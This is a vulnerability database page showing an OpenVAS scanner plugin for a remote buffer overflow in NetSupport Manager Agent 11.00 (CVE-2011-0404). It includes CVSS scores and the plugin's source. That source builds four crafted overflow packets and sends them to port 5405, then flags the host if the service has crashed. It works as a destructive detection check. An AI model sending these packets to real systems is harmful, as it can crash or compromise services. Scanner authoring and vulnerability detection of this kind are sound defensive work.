Lucene search

K
openvasCopyright (C) 2011 Greenbone AGOPENVAS:1361412562310801810
HistoryJan 20, 2011 - 12:00 a.m.

NetSupport Manager Remote Buffer Overflow Vulnerability

2011-01-2000:00:00
Copyright (C) 2011 Greenbone AG
plugins.openvas.org
17

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

AI Score

6.9

Confidence

Low

EPSS

0.939

Percentile

99.2%

NetSupport Manager is prone to a buffer overflow vulnerability.

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801810");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-01-20 07:52:11 +0100 (Thu, 20 Jan 2011)");
  script_cve_id("CVE-2011-0404");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("NetSupport Manager Remote Buffer Overflow Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/42794");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45728");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/15937");
  script_xref(name:"URL", value:"http://www.securitytracker.com/id?1024943");
  script_xref(name:"URL", value:"http://www.ikkisoft.com/stuff/netsupport_linux.txt");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("find_service.nasl");
  script_require_ports(5405);
  script_tag(name:"impact", value:"Successful exploitation will allow attacker to crash an affected
daemon or execute arbitrary code.");
  script_tag(name:"affected", value:"NetSupport Manager Agent 11.00 on Linux.");
  script_tag(name:"insight", value:"The flaw is caused by a buffer overflow error when processing
packets sent to port 5405/TCP, which could be exploited by remote unauthenticated
attackers to crash an affected daemon or execute arbitrary code.");
  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");
  script_tag(name:"summary", value:"NetSupport Manager is prone to a buffer overflow vulnerability.");
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}


## Default NetSupport Manager Port
port = 5405;
if(!get_port_state(port)){
  exit(0);
}

triggerA = raw_string(0x15,0x00,0x5a,0x00) +
           crap(data: raw_string(0x41), length: 1024) +
           raw_string(0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                      0x00,0x00,0x00);

triggerB = raw_string(0x25,0x00,0x51,0x00,0x81,0x41,0x41,0x41,0x41,0x41,0x41,
                      0x00,0x41,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                      0x00,0x00,0x00,0x00,0x00,0x00);

triggerC = raw_string(0x37,0x00,0x03,0x00,0x0a,0x00,0x00,0x00,0x00,0x00,0x58,
                      0xb4,0x92,0xff,0x00,0x00,0x69,0x6b,0x6b,0x69,0x00,0x57,
                      0x4f,0x52,0x4b,0x47,0x52,0x4f,0x55,0x50,0x00,0x3c,0x3e) +
           crap(data: "A", length: 976) +
           raw_string(0x00,0x00,0x31,0x32,0x2e,0x36,0x32,0x2e,0x31,0x2e,0x34,
                      0x32,0x30,0x00,0x31,0x30,0x00,0x00);

triggerD = raw_string(0x06,0x00,0x07,0x00,0x20,0x00,0x00,0x00,0x0e,0x00,0x32,
                      0x00,0x01,0x10,0x18,0x00,0x00,0x01,0x9f,0x0d,0x00,0x00,
                      0xe0,0x07,0x06,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x02,
                      0x00,0x4e,0x00,0x02,0x00,0xac,0x00,0x04,0x00,0x7f,0x00,
                      0x00,0x00);

soc = open_sock_tcp(port);
if(!soc) {
  exit(0);
}

banner = recv(socket:soc, length:100);

if("localhost.local" >!< banner) {
  exit(0);
}

## Sending Attack
send(socket: soc, data: triggerA);
sleep(1);

send(socket: soc, data: triggerB);
sleep(1);

send(socket: soc, data: triggerC);
sleep(1);

send(socket: soc, data: triggerD);
close(soc);
sleep(5);

soc = open_sock_tcp(port);
if(!soc){
  security_message(port:port);
}

close(soc);

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

AI Score

6.9

Confidence

Low

EPSS

0.939

Percentile

99.2%